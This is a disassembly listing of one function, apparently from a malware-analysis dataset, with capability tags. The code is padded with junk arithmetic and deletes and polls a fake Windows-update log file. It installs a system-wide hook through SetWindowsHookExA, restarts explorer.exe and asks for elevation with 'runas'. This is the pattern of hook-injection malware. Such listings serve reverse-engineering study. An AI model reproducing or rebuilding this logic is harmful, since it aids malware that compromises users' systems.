Function at 0x404c50
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.004248b0
mov eax, dword [0x451944]
mov ecx, dword [0x4508e8]
mov dword [esp + 0x1068], eax
push ebx
mov eax, 0xa61fcc17
imul ecx
push esi
mov esi, dword [0x4508dc]
push edi
mov edi, dword [0x4508f4]
mov ebx, edi
imul ebx, ebx, 0x185
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d8]
sub ebx, eax
mov eax, dword [ebp + 8]
sub ebx, edx
cmp eax, 0x132b600
lea ebx, [ebx + esi + 0xd7]
mov dword [esp + 0x14], 0
mov dword [str._r_____r_____n], ebx
je 0x404d2f
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x21d814d3
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, dword [0x4508ec]
lea ecx, [eax + edi - 0x30e]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x4508dc], ecx
mov esi, 0x64
lea esp, [esp]
push 0x3e8
call edi
dec esi
jne 0x404d10
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424061
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, edx
mov eax, 0xb61d7045
imul ecx, ecx, 0x3a7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [section.HookData]
sub edi, ecx
mov ecx, dword [0x4508e0]
imul ecx, ecx, 0x30f
mov edx, esi
imul edx, edx, 0x315
add edi, ecx
add edi, edx
test eax, eax
mov dword [0x4508e8], edi
je 0x404ddb
mov ecx, dword [0x4508f0]
mov eax, 0x49e28fbb
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x73d0e82d
imul edi
sub edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
sub eax, ecx
mov ecx, dword [0x4508ec]
imul ecx, ecx, 0x315
sub eax, ecx
add eax, ebx
lea eax, [edx + eax - 0x30e]
mov dword [0x4508d4], eax
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.00424061
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4508e4]
mov eax, 0x60f25deb
imul ecx, ecx, 0x377
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d8]
imul edx, edx, 0x1a8
sub ecx, eax
add ecx, dword [0x4508f0]
lea eax, [edx + ecx - 0x15c]
mov dword [0x4508e0], eax
jmp 0x404e20
mov ecx, dword [0x4508e4]
mov eax, 0xde27eb2d
imul ecx, ecx, 0x222
imul dword [0x4508d8]
add edx, dword [0x4508d8]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x24e
sub ecx, eax
mov eax, dword [ebp + 0x10]
test eax, eax
lea ecx, [ecx + edx - 0x30e]
mov dword [0x4508ec], ecx
jg 0x404f40
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x404f40
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
jmp 0x404e80
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404e80
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x404f40
mov ebx, dword [0x4508e0]
imul ecx, ecx, 0x1a8
mov eax, 0x97012e03
imul esi
mov eax, dword [0x4508f4]
add edx, esi
imul eax, eax, 0x185
sar edx, 8
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
sub esi, eax
mov eax, dword [ebp + 0x14]
sub esi, ebx
push eax
add esi, 0x4f2
push 0
mov dword [0x4508d8], esi
call fcn.004035c0
mov ebx, eax
add esp, 8
test ebx, ebx
jle 0x405670
mov ecx, dword [0x4508f0]
mov esi, dword [0x4508d4]
mov edi, dword [0x4508e8]
imul esi, esi, 0x2a4
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x1b2
sub esi, ecx
mov ecx, dword [0x4508d8]
add esi, edx
sub esi, ecx
mov ecx, dword [0x4508f4]
sub esi, 0x163
mov dword [0x4508f0], esi
mov esi, dword [0x4508dc]
jmp 0x404f8c
mov eax, 0x8c2f17d3
imul ecx, ecx, 0x1b2
imul ebx
add edx, ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x60f25deb
imul dword [0x4508e4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, dword [ebp + 0x10]
sub eax, ecx
mov ecx, esi
imul ecx, ecx, 0x1a8
lea ecx, [eax + ecx - 0x30e]
mov dword [0x4508f4], ecx
mov eax, 0xa61fcc17
imul ecx, ecx, 0x185
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d8]
sub ecx, eax
sub ecx, edx
lea ecx, [ecx + esi + 0xd7]
push str.c:windowsKB978978.log
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x4508f0]
mov eax, 0x49e28fbb
imul ecx
mov ecx, dword [0x4508e8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
mov eax, dword [0x4508d4]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x315
sub ecx, esi
sub ecx, edx
add ecx, dword [str._r_____r_____n]
mov edx, dword [0x562948]
push ebx
push edx
lea ecx, [eax + ecx - 0x30e]
mov eax, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push eax
mov dword [0x4508d4], ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.HookData], eax
je 0x4056d5
mov eax, 0x197b05f9
imul dword [0x4508e8]
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4508dc]
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
mov ecx, dword [0x4508ec]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
mov ecx, dword [0x4508f4]
lea ecx, [eax + ecx - 0x30e]
mov dword [0x56294c], 1
xor edi, edi
jmp 0x4050a0
mov ecx, dword [0x4508dc]
mov eax, 0x197b05f9
imul dword [0x4508e8]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508f4]
sub ecx, esi
sub ecx, dword [0x4508ec]
lea eax, [ecx + edx - 0x30e]
push str.c:windowsKB978978.log
mov dword [0x4508dc], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x405105
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x12c
jl 0x40509a
mov ecx, dword [0x4508e4]
mov esi, dword [0x4508f4]
mov eax, 0xa8791709
imul ecx
add edx, ecx
sar edx, 8
mov ebx, esi
imul ebx, ebx, 0x30f
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [0x4508e0]
sub eax, ebx
mov ebx, eax
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, 0x456
cmp edi, 0x12c
mov dword [0x4508e4], ebx
jl 0x405731
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x405731
mov edx, dword [0x4508d8]
imul ecx, ecx, 0x30f
mov esi, edx
mov eax, 0xb61d7045
imul esi, esi, 0x3a7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
add eax, ecx
mov ecx, dword [0x4508dc]
imul ecx, ecx, 0x315
push 0x800
lea edx, [esp + 0x74]
add eax, ecx
push edx
mov dword [0x4508e8], eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x4508d8]
mov esi, dword [0x4508e4]
mov eax, 0xde27eb2d
imul esi, esi, 0x222
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 9
imul ecx, ecx, 0x24e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea eax, [esp + 0x70]
push eax
lea edx, [esi + ecx - 0x30e]
lea ecx, [esp + 0x874]
push str._sexplorer.exe
push ecx
mov dword [0x4508ec], edx
call fcn.0042478a
lea edx, [esp + 0x87c]
push 0
push edx
call fcn.0042457d
add esp, 0x14
cmp eax, 0xffffffff
je 0x40560d
mov ecx, dword [0x4508f0]
mov esi, dword [0x4508d4]
mov edi, dword [0x4508d8]
imul esi, esi, 0x2a4
mov eax, 0x197b05f9
imul ecx
mov ecx, dword [0x4508e8]
sar edx, 6
imul ecx, ecx, 0x1b2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
sub esi, edi
sub esi, 0x163
push str.explorer.exe
mov dword [0x4508f0], esi
call fcn.00415870
mov ecx, dword [str._r_____r_____n]
mov eax, 0x8c2f17d3
imul ecx
add edx, ecx
mov ecx, dword [0x4508e4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x60f25deb
imul ecx
mov eax, dword [0x4508dc]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x1b2
sub ecx, esi
sub ecx, edx
add esp, 4
imul eax, eax, 0x1a8
lea ecx, [ecx + eax - 0x30e]
mov dword [0x4508f4], ecx
mov dword [esp + 0x10], 5
jmp 0x405300
mov ecx, dword [0x4508f4]
jmp 0x405300
mov esi, dword [0x4508e8]
imul ecx, ecx, 0x185
mov edi, dword [0x4508d8]
mov eax, 0xa61fcc17
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508dc]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0xd7]
push str.explorer.exe
mov dword [str._r_____r_____n], eax
call fcn.00415440
add esp, 4
test eax, eax
jg 0x4055b3
mov ecx, dword [0x4508f0]
mov esi, dword [0x4508e8]
mov eax, 0x49e28fbb
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, dword [0x4508ec]
mov eax, 0x73d0e82d
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov edx, dword [0x4508d4]
mov ecx, ebx
imul ecx, ecx, 0x315
sub eax, ecx
add eax, dword [str._r_____r_____n]
lea eax, [edx + eax - 0x30e]
mov dword [0x4508d4], eax
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4508dc]
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
mov edi, ebx
imul edi, edi, 0x1a8
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [0x4508f4]
mov edx, edi
imul edx, edx, 0x185
sub eax, edx
sub eax, dword [0x4508e0]
add eax, 0x4f2
mov dword [0x4508d8], eax
mov eax, 0x197b05f9
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
sub ecx, ebx
lea edx, [ecx + edi - 0x30e]
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [0x4508dc], edx
lea edx, [esp + 0x78]
push edx
push 0
push 0x20
push 0
push 0
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x60], 1
mov word [esp + 0x64], 5
push 0
lea eax, [esp + 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4054bf
mov ecx, dword [0x4508e8]
mov edi, dword [0x4508e4]
mov esi, dword [0x4508d8]
imul edi, edi, 0x377
mov eax, 0x60f25deb
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x1a8
sub edi, eax
add edi, dword [0x4508f0]
lea eax, [edx + edi - 0x15c]
mov dword [0x4508e0], eax
jmp 0x4055bf
mov ecx, dword [0x4508e4]
mov eax, 0xa8791709
imul ecx
mov esi, dword [0x4508f4]
add edx, ecx
imul esi, esi, 0x30f
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4508e0]
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
push 1
mov eax, edx
lea ecx, [esp + 0x74]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x87c]
sub edi, esi
push edx
sub edi, eax
push str.runas
add edi, 0x456
push 0
mov dword [0x4508e4], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x4508d8]
jg 0x405578
mov eax, 0xb61d7045
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508e0]
mov edi, esi
imul edx, edx, 0x30f
imul edi, edi, 0x3a7
mov ecx, eax
mov eax, dword [0x4508dc]
imul eax, eax, 0x315
sub ecx, edi
add ecx, edx
add ecx, eax
mov dword [0x4508e8], ecx
jmp 0x4055bf
mov ecx, dword [0x4508e4]
mov eax, 0xde27eb2d
imul ecx, ecx, 0x222
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub ecx, eax
imul edx, edx, 0x24e
lea eax, [ecx + edx - 0x30e]
mov dword [0x4508ec], eax
jmp 0x4055b9
mov esi, dword [0x4508d8]
mov ecx, dword [0x4508e8]
mov edi, dword [0x4508d4]
imul ecx, ecx, 0x1b2
mov eax, 0x197b05f9
imul edi, edi, 0x2a4
imul dword [0x4508f0]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
sub edi, esi
sub edi, 0x163
push 0x3e8
mov dword [0x4508f0], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x4052ef
mov ebx, dword [str._r_____r_____n]
mov eax, 0x8c2f17d3
imul ebx
add edx, ebx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x60f25deb
imul dword [0x4508e4]
mov esi, dword [0x4508dc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4508ec]
mov edi, dword [0x4508e8]
imul ecx, ecx, 0x1b2
sub eax, ecx
mov edx, esi
imul edx, edx, 0x1a8
lea eax, [eax + edx - 0x30e]
mov dword [0x4508f4], eax
jmp 0x404e20
mov ecx, dword [0x4508e4]
mov esi, dword [0x4508f4]
mov eax, 0xa8791709
imul esi, esi, 0x30f
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4508e0]
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
sub edi, esi
add eax, edx
sub edi, eax
add edi, 0x456
mov dword [0x4508e4], edi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424061
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4508dc]
mov esi, dword [0x4508ec]
mov eax, 0x97012e03
imul esi, esi, 0x1a8
imul ecx
add edx, ecx
sar edx, 8
add esi, edx
mov ecx, edx
mov edx, dword [0x4508f4]
imul edx, edx, 0x185
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
sub ecx, dword [0x4508e0]
add ecx, 0x4f2
mov dword [0x4508d8], ecx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00424061
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4508e8]
imul esi, esi, 0x185
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov ecx, dword [0x4508dc]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, dword [0x4508d8]
lea edx, [esi + ecx + 0xd7]
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r_____n], edx
mov eax, 1
call fcn.00424061
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret